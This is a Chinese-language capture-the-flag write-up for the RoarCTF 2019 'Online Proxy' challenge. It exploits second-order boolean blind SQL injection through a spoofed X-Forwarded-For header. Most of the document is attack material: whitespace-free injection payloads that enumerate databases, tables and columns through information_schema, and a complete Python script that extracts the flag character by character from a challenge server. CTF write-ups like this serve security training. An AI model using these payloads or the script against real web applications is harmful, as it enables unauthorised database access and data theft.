[RoarCTF 2019]Online Proxy

在这里插入图片描述
看他提示
输个分号进去
在这里插入图片描述
换brupsuit做算了

在这里插入图片描述
这里的注释代码很重要,发现他存入了我们的ip
利用X-Forwarded-For篡改ip,(我的bp只能小写传入),可以发现
ip被保存并输出了

在这里插入图片描述
更改ip地址后,发现回显了last-ip
在这里插入图片描述
既然他的last-ip和current-ip会更新,由此可以猜想他与数据库进行了交互,不然last-ip怎么来的。
由于他这里是先回显current-ip,所以可以猜测后端sql语句,插入和更新

猜测后端sql语句

1
2
3
INSERT INTO table_name (current-ip,last-ip )
                       VALUES
                       ('$current-ip','$last-ip' );

但是由于这题有回显,因此,可以考虑二次注入
我自己采用的是布尔盲注

我是从下面这篇题解得知sql闭合语句的(我这个废物肯定是想不到的)
这篇跟我的方法不同,我暂时看不懂他的做法,感兴趣的可以去看下,我先用我自己构想的盲注来做
另外一种方法

先将盲注语句输入

1
0' or ascii(substr((select(database())),1,1))>100 or '0

在这里插入图片描述
再随便输入一个值
在这里插入图片描述
这时候我们的语句还没有执行,只是将我们输入的值 写出来而已,再send一次
在这里插入图片描述
可以发现我们的sql语句返回了一个0,说明他第一个字符不是大于100
我们改成1试试
在这里插入图片描述
在这里插入图片描述
他返回的是1,所以根据这个布尔回显,来进行布尔盲注

这题有个坑,必须得group_concat()查询所有库名,当前的库名并不是flag的所在地我是真tm吐了
这题还过滤了空格
我之前翻到很多博客都是没考虑过滤空格的,可能是当时环境问题吧

查库名
payload

1
0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1 or '0

所有库名如下
information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
在这里插入图片描述
很熟悉吧,这就是flag的库名
接着查这个库的表名
payload

1
0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),1,1))>1 or '0

表名为F4l9_t4b1e

查列名
payload

1
0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),1,1))>1 or '0

列名为F4l9_C01uMn

查flag
payload

1
0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),1,1))>1 or '0

在这里插入图片描述
最后的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests


url = "http://node3.buuoj.cn:25174/"

#这个head头好像必须加cookie
head ={
    "X-Forwarded-For":"",
    "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888"
}

# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag =""

for i in range(1,1000):
    low = 32
    high =137
    mid = (low+high)//2

    while(low < high):
        print(i,mid)
        '''插入sql语句'''
        payload1 = payload.format(i,mid)
        head["X-Forwarded-For"] = payload1
        print(head["X-Forwarded-For"])
        r = requests.get(url,headers=head)

        '''重新发送两次请求'''
        head["X-Forwarded-For"]= "penson"
        r = requests.get(url,headers=head)
        r = requests.get(url,headers=head)

        if "Last Ip: 1 " in r.text:
            low = mid+1
        else:
            high = mid

        mid =(low+high)//2


    if(mid ==32 or mid ==127):
        break
    flag +=chr(mid)
    print(flag)

print(flag)